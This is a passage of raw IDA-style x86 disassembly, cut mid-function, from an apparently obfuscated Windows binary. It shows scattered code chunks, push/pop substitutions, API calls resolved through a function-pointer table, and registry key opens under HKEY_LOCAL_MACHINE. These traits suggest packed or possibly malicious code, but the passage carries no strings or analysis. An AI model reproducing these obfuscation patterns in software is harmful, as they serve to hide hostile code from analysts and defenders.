		jmp	loc_9AAFC8
; END OF FUNCTION CHUNK	FOR sub_9B6078
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AB95C	proc near		; CODE XREF: sub_9B3A74-8BE1p
					; sub_9B1B20-5EC9p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009B05EE SIZE 00000003 BYTES

		push	ebp
		push	[esp+4+arg_0]
		pop	ebp
		or	ebp, ebp
		push	esi
		push	ecx
		pop	esi
		jle	loc_9B05EE
		jmp	sub_9B4724
sub_9AB95C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB974:				; CODE XREF: sub_9B0930-14B6j
					; DATA XREF: .text:off_9B89E1o
		push	off_9B9730
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+4Ch], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	eax
		push	dword ptr [eax+4Ch]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B480C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9AB9A8:				; CODE XREF: sub_9B037C-4357j
					; sub_9B037C-3661j ...
		push	dword ptr [ebp-4044h]
		pop	ecx
		push	ecx
		xor	edx, edx
		call	sub_9B5CDC
		or	eax, eax
		jz	loc_9B5E74
		jmp	off_9B9355
; END OF FUNCTION CHUNK	FOR sub_9B037C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9AB9C8:				; CODE XREF: sub_9AF25C-3DD9j
					; sub_9AF25C+33C8j ...
		lea	ecx, [ebp-28h]
		call	sub_9B5480


loc_9AB9D0:				; CODE XREF: sub_9AF25C+4921j
					; sub_9AF25C+4EDCj
		mov	al, [ebp-20h]
		test	al, 1
		push	dword ptr [ebp-24h]
		pop	edi
		jz	loc_9B5344
		jmp	off_9BAAA9
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEDD0


loc_9AB9E8:				; CODE XREF: sub_9AEDD0+26j
		push	dword_9BEC20[eax]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B3228
		jmp	off_9B8DC2
; END OF FUNCTION CHUNK	FOR sub_9AEDD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B5300


loc_9ABA00:				; CODE XREF: sub_9B161C+F0j
					; sub_9B5300+Dj
					; DATA XREF: ...
		push	4
		pop	eax


loc_9ABA03:				; CODE XREF: sub_9B161C+Cj
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B5300
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ABA0C:				; CODE XREF: sub_9B63D8-280j
		cmp	word ptr [edx+ebp-2120h], 0A0Dh
		jz	loc_9AC5C0
		jmp	loc_9ADE94
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B327C


loc_9ABA24:				; CODE XREF: sub_9B327C-588j
					; DATA XREF: .text:off_9BA3CCo
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_9B327C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9ABA28:				; CODE XREF: sub_9B3864:loc_9ACC3Cj
		mov	eax, [ebp+var_2028]
		test	eax, eax
		jnz	loc_9AF480
		jmp	loc_9AF870
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ABA3C	proc near		; CODE XREF: sub_9B14CC+37p

; FUNCTION CHUNK AT 009AB51F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AE300 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AEDFC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B028C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B06D4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B50EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5CFC SIZE 00000026 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAD4C
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 114h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		push	ecx
		pop	esi
		xor	ebx, ebx
		mov	[ebp-18h], esp
		mov	[ebp-124h], ebx
		mov	[ebp-4], ebx
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	esi
		push	104h
		call	dword ptr [ecx+38h]
		cmp	[esi], bl
		jz	loc_9B5D02
		jmp	loc_9AE300
sub_9ABA3C	endp

; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9ABAA4:				; CODE XREF: sub_9AC6DC-2F5j
		mov	esi, dword_9BBD18


loc_9ABAAA:				; CODE XREF: sub_9AC6DC+69E4j
					; sub_9AC6DC+6F15j
		push	eax
		pop	ecx
		or	ecx, ebx
		jnz	loc_9AFE48
		jmp	loc_9AFC78
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9ABABC:				; CODE XREF: sub_9AC32C+43EFj
		mov	[esp+324h+var_204], ecx
		mov	[esp+324h+var_208], edx


loc_9ABACA:				; CODE XREF: sub_9AC32C+43E9j
		push	eax
		pop	ebx
		and	ebx, 20h
		jz	loc_9AB496
		jmp	loc_9AB488
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ABADC	proc near		; CODE XREF: sub_9B3FF8-5BACp
					; sub_9B2830+FE8p

; FUNCTION CHUNK AT 009AAFAC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AE8E0 SIZE 00000004 BYTES

		test	edx, edx
		mov	eax, edx
		not	eax
		jz	loc_9AE8E1
		jmp	loc_9AAFAC
sub_9ABADC	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9ABAF0:				; CODE XREF: sub_9AC6DC+74B8j
					; DATA XREF: .text:off_9B9E76o
		mov	eax, esi
		mov	edx, 3E8h
		mul	edx
		push	ebx
		push	edi
		push	edx
		push	eax
		call	__aulldiv
		mov	ebx, edx
		mov	dword_9BBD10, eax
		mov	dword_9BBD14, ebx
		jmp	loc_9AC3DE
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9ABB14:				; CODE XREF: sub_9B4950+9Fj
		lea	ecx, [ebp-28h]
		call	sub_9B31A8
		lea	ecx, [ebp-2Ch]
		call	sub_9B31A8
		lea	ecx, [ebp-30h]
		call	sub_9B31A8
		lea	ecx, [ebp-34h]
		call	sub_9B31A8
		lea	ecx, [ebp-38h]
		call	sub_9B31A8
		xor	edi, edi


loc_9ABB3E:				; CODE XREF: sub_9B4950-4B0Fj
		mov	[ebp-1Ch], edi
		cmp	edi, 20h
		jge	loc_9B194C
		jmp	off_9B9268
; END OF FUNCTION CHUNK	FOR sub_9B4950

; =============== S U B	R O U T	I N E =======================================



sub_9ABB50	proc near		; CODE XREF: sub_9B4FD0-4273j
					; sub_9B4FD0-1ECDj

; FUNCTION CHUNK AT 009ACDE1 SIZE 00000034 BYTES

		push	ebx
		pop	ecx
		call	sub_9B35A0
		or	ebx, 0FFFFFFFFh
		mov	[ebp-228h], ebx


loc_9ABB60:				; CODE XREF: sub_9B4FD0-5E41j
					; sub_9B4FD0-4279j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9ACDE1
sub_9ABB50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9ABB6C:				; CODE XREF: sub_9ACEE8+3021j
		inc	eax
		jmp	loc_9AC687
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9ABB74:				; CODE XREF: sub_9B2F1C-C04j
		lea	edi, [eax+1Ah]
		cmp	edi, 1FFCh
		jbe	loc_9AE688
		jmp	loc_9AB548
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ABB88:				; CODE XREF: sub_9B0930-49A5j
					; DATA XREF: .text:off_9B980Fo
		push	off_9BA160
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+94h], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax]
		push	dword ptr [eax+94h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AB1F8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9ABBC0:				; CODE XREF: sub_9AF25C+53j
		call	sub_9B36E8
		push	eax
		pop	edi
		sub	edx, edx
		mov	[ebp-2Ch], edi
		mov	ecx, esi
		call	sub_9AEE5C
		mov	edx, 4
		mov	[ebp-1Ch], eax
		call	sub_9AEE5C
		push	eax
		pop	ebx
		mov	edx, 8
		mov	[ebp-30h], ebx
		call	sub_9AEE5C
		mov	edx, 0Ch
		mov	[ebp-24h], eax
		call	sub_9AEE5C
		mov	[ebp-20h], eax
		push	dword ptr [ebp-1Ch]
		pop	edx
		and	edx, 7FFFFFFFh
		and	edi, 7FFFFFFFh
		cmp	edx, edi
		jbe	loc_9AB8D1
		jmp	off_9BAB88
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9ABC20	proc near		; CODE XREF: sub_9B1B20+7Cp
					; sub_9B4480+77p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009ADBF9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B1E69 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5A9C SIZE 00000033 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B93A3
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		jmp	off_9B8FB3
sub_9ABC20	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9ABC4C:				; CODE XREF: sub_9B1B20+99j
					; DATA XREF: .text:off_9BACE4o
		push	edi
		mov	edx, ebx
		lea	eax, [ebp+var_328]
		push	esi
		pop	ecx
		call	sub_9AB95C
		add	esp, 4
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		lea	ecx, [ebp+var_32C]
		push	ecx
		push	20006h
		push	0
		lea	edx, [ebp+var_224]
		jmp	off_9BA408
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9ABC84:				; CODE XREF: sub_9B4480-61F0j
					; DATA XREF: .text:off_9BA840o
		mov	eax, dword_9BCB74
		mov	ecx, [eax+0Ch]
		lea	edx, [ebp+var_330]
		push	edx
		push	20019h
		push	esi
		lea	eax, [ebp+var_224]
		push	eax
		push	80000002h
		call	dword ptr [ecx+20h]
		test	eax, eax
		jnz	loc_9B4703
		jmp	off_9B9014
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ABCB8:				; CODE XREF: sub_9B0930+3E2j
		push	off_9B8EA4
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+58h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	dword ptr [eax+58h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B426C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9ABCEC:				; CODE XREF: sub_9B3FF8-5978j
		lea	ecx, [esi+8]
		mov	eax, [esi+4]
		push	eax
		mov	edx, [esi]
		push	edx
		lea	eax, [edi-8]
		push	ecx
		call	sub_9B6370
		mov	ecx, edi
		push	esi
		pop	edx
		call	sub_9B649C
		push	eax
		pop	ebx
		mov	[ebp+var_1C], ebx
		cmp	ebx, 0Eh
		jb	loc_9B2884
		jmp	loc_9B527C
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ABD24:				; CODE XREF: sub_9AB1A0-3C3j
					; DATA XREF: .text:off_9BA5F0o
		sub	ecx, eax
		mov	[ebp-20h], ecx


loc_9ABD29:				; CODE XREF: sub_9AB1A0+1B1Cj
					; sub_9AB1A0+2FA2j ...
		inc	ebx
		jmp	loc_9B4D6C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9ABD30	proc near		; CODE XREF: sub_9B3984-542Bp
					; sub_9B19D8+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 009ACB34 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AD5B4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009ADF00 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AF2B4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009AFFE4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B07A4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B11CC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B4710 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B591C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B5D88 SIZE 00000015 BYTES

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		push	edi
		push	[esp+0Ch+arg_4]
		pop	edi
		xor	esi, esi


loc_9ABD3E:				; CODE XREF: sub_9ABD30+89E5j
		mov	eax, [esp+0Ch+arg_C]
		push	eax
		push	ebx
		mov	eax, 8
		call	sub_9AC32C
		test	al, 3
		jnz	loc_9B11CC
		jmp	off_9B8D14
sub_9ABD30	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9ABD60:				; CODE XREF: sub_9B3408-433Bj
					; DATA XREF: .text:off_9BAFE3o
		push	dword ptr [ebp-128h]
		pop	ecx
		mov	[ebp-130h], ecx
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		lea	ecx, [ebp-130h]
		push	ecx
		mov	edx, [esi+44h]
		push	edx
		push	ebx
		push	ebx
		push	edi
		mov	ecx, [ebp-124h]
		push	ecx
		call	dword ptr [eax+10h]
		and	eax, eax
		jnz	loc_9AB749
		jmp	off_9BA938
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9ABDA0:				; CODE XREF: sub_9B3984-5EC8j
		mov	[ebp+var_2020],	ax
		push	5
		push	2002h
		lea	ecx, [ebp+var_2020]
		add	eax, 2
		mov	edi, ebx
		call	sub_9B5300
		mov	[ebp+var_4050],	eax
		cmp	eax, 4
		jnz	loc_9AB89C
		jmp	loc_9B102C
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9ABDD4:				; CODE XREF: sub_9B1F68-21DAj
					; DATA XREF: .text:off_9BAE6Ao
		push	dword ptr [ebx]
		pop	ecx
		push	ecx
		jmp	loc_9AFB61
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AEBB8


loc_9ABDE3:				; CODE XREF: sub_9AEBB8+317Ej
					; sub_9B5228+28j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-124h]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AEBB8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ABE10:				; CODE XREF: sub_9B63D8-152Cj
		jg	loc_9AF94B
		jmp	loc_9AED08
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9ABE1C:				; CODE XREF: sub_9B3984-5417j
		push	[ebp+var_4054]
		pop	eax
		and	eax, eax
		jz	loc_9AB89C
		jmp	loc_9ADA80
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9ABE30:				; CODE XREF: sub_9ADAC4+565Cj
					; DATA XREF: .text:off_9B8DEFo
		mov	esi, eax
		mov	[ebp-48h], esi


loc_9ABE35:				; CODE XREF: sub_9ADAC4-46Aj
		cmp	esi, 0FFFFFFFFh
		jnz	loc_9B3334
		jmp	off_9BA6DF
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9ABE44:				; CODE XREF: sub_9AF25C+1900j
					; DATA XREF: .text:off_9B9A1Do
		mov	dword_9BBD30, ebx
		mov	edx, [ebp-1Ch]
		mov	dword_9BBD2C, edx
		push	4
		push	4
		pop	ecx
		push	off_9B8DBE
		pop	edx
		call	sub_9B1B20
		push	5
		mov	edx, off_9B9076
		mov	ecx, 4
		call	sub_9B1B20
		mov	dword_9BBE3C, ebx
		jmp	off_9BAAC0
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9ABE84	proc near		; CODE XREF: .text:009AE318p
					; sub_9B1584-1C4Bp ...

var_224		= byte ptr -224h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009B12BB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009B4918 SIZE 00000029 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BB08B
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 214h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		push	[ebp+arg_0]
		pop	eax
		push	eax
		lea	esi, [ebp+var_224]
		call	sub_9B3BE8
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	esi
		pop	eax
		push	eax
		call	dword ptr [edx+5Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B12BB
		jmp	off_9B8D96
sub_9ABE84	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9ABEF0:				; CODE XREF: sub_9B2830+102Cj
		call	sub_9B45AC
		inc	edi
		sub	edx, edx
		div	edi
		mov	edi, edx
		mov	[ebp-24h], edi
		inc	dword ptr [ebp-20h]
		jmp	loc_9B3852
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ABF08	proc near		; CODE XREF: sub_9B2C70-55F5p
					; sub_9B1584-275Dp ...

; FUNCTION CHUNK AT 009ACCC8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AF200 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B0B98 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B131E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B2BF0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B355C SIZE 00000041 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B96BB
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		sub	edi, edi
		mov	[ebp-1Ch], edi
		mov	eax, 14h
		mov	[ebp-4], edi
		call	sub_9AF3E8
		push	eax
		pop	esi
		mov	[ebp-1Ch], esi
		cmp	esi, edi
		jz	loc_9AF21B
		jmp	off_9B926C
sub_9ABF08	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ABF58:				; CODE XREF: sub_9B0930+12C2j
					; DATA XREF: .text:off_9BB04Co
		push	off_9BADEC
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx]
		mov	[ecx+90h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		mov	ecx, [eax+90h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B980F
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9ABF94:				; CODE XREF: sub_9B04A8-203Fj
		push	dword ptr [ebp-4028h]
		pop	ecx
		push	dword ptr [ebp-4050h]
		pop	eax
		cmp	ecx, [eax+14h]
		jnz	loc_9B27C0
		jmp	off_9BA60D
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9ABFB4:				; CODE XREF: sub_9ADAC4+52ECj
					; DATA XREF: .text:off_9BA66Fo
		call	sub_9B31A8


loc_9ABFB9:				; CODE XREF: sub_9ADAC4+52E6j
		inc	esi
		jmp	loc_9AB8F0
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9ABFC0:				; CODE XREF: sub_9B03E8+52E0j
		mov	cl, [ebp-0B8h]
		mov	byte ptr dword_9BF384+2, cl
		mov	dl, [ebp-0B6h]
		mov	byte ptr dword_9BF384+3, dl
		test	byte ptr [ebp-0B4h], 10h
		jz	loc_9B21FA
		jmp	off_9BAA7F
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9ABFEC:				; CODE XREF: sub_9B037C+2794j
		lea	edx, [ebp-404Ch]
		push	edx
		push	edi
		push	11h
		lea	eax, [ebp-402Ch]
		push	eax
		lea	ecx, [ebp-403Ch]
		push	ecx
		push	dword ptr [ebp-4054h]
		pop	edx
		push	edx
		lea	ecx, [ebp-201Ch]
		lea	edx, [ebp-401Ch]
		call	sub_9B3864
		mov	eax, [ebp-404Ch]
		or	eax, eax
		jz	loc_9AB9A8
		jmp	loc_9ACCFC
; END OF FUNCTION CHUNK	FOR sub_9B037C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AC030:				; CODE XREF: sub_9AB1A0+46CAj
		call	sub_9B45AC
		sub	edx, edx
		div	dword_9BEBD0
		mov	esi, dword_9BCBCC[edx*4]
		mov	[ebp-1Ch], esi
		jmp	loc_9ACF74
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC04C:				; CODE XREF: sub_9B0930+4E7Cj
					; DATA XREF: .text:off_9B9974o
		push	off_9BA880
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+10h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+10h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9ADC44
; ---------------------------------------------------------------------------


loc_9AC080:				; CODE XREF: sub_9B0930+2EB0j
					; DATA XREF: .text:off_9BA1C8o
		push	off_9B87A0
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx]
		mov	[ecx+68h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		mov	ecx, [eax+68h]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B2584
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AC0B0:				; CODE XREF: sub_9B4950+A5j
					; DATA XREF: .text:off_9B8941o
		call	sub_9B6264
		and	eax, eax
		jz	loc_9AD3C4
		jmp	off_9B9E4D
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3B1C


loc_9AC0C4:				; CODE XREF: sub_9B3B1C-2741j
					; DATA XREF: .text:off_9B99AFo
		mov	edi, off_9B985C
		mov	ecx, 801h
		rep stosd
		push	6
		mov	ecx, 2004h
		push	off_9B985C
		pop	edx
		call	sub_9B1B20
		jmp	loc_9B1D3F
; END OF FUNCTION CHUNK	FOR sub_9B3B1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC0EC:				; CODE XREF: sub_9B0930-4450j
		push	off_9BAB7C
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+88h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	dword ptr [eax+88h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B96B7
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_9AC128	proc near		; CODE XREF: sub_9ACA48+68p
					; sub_9B1A08-3CAEp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AFA8C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B5E2C SIZE 0000001E BYTES

		push	ecx
		or	eax, eax
		jz	loc_9AFAA6
		jmp	loc_9AFA8C
sub_9AC128	endp

; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9AC13B:				; CODE XREF: sub_9B2E04-77C2j
					; sub_9B2E04-6C5j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	0
		call	dword ptr [edx+60h]
		sub	eax, eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AC170	proc near		; CODE XREF: sub_9B6078+41j
					; DATA XREF: .text:off_9B900Co

; FUNCTION CHUNK AT 009B5A4C SIZE 00000010 BYTES

		push	ebx
		pop	edi
		dec	edi


loc_9AC173:				; CODE XREF: sub_9AC170+9j
		mov	al, [edi+1]
		inc	edi
		and	al, al
		jnz	short loc_9AC173
		jmp	off_9B8C2E
sub_9AC170	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9AC184:				; CODE XREF: sub_9AD97C+1F26j
					; DATA XREF: .text:off_9B9E44o
		mov	dword ptr [ebp-20h], 1


loc_9AC18B:				; CODE XREF: sub_9AD97C+1F20j
					; sub_9AD97C+786Bj
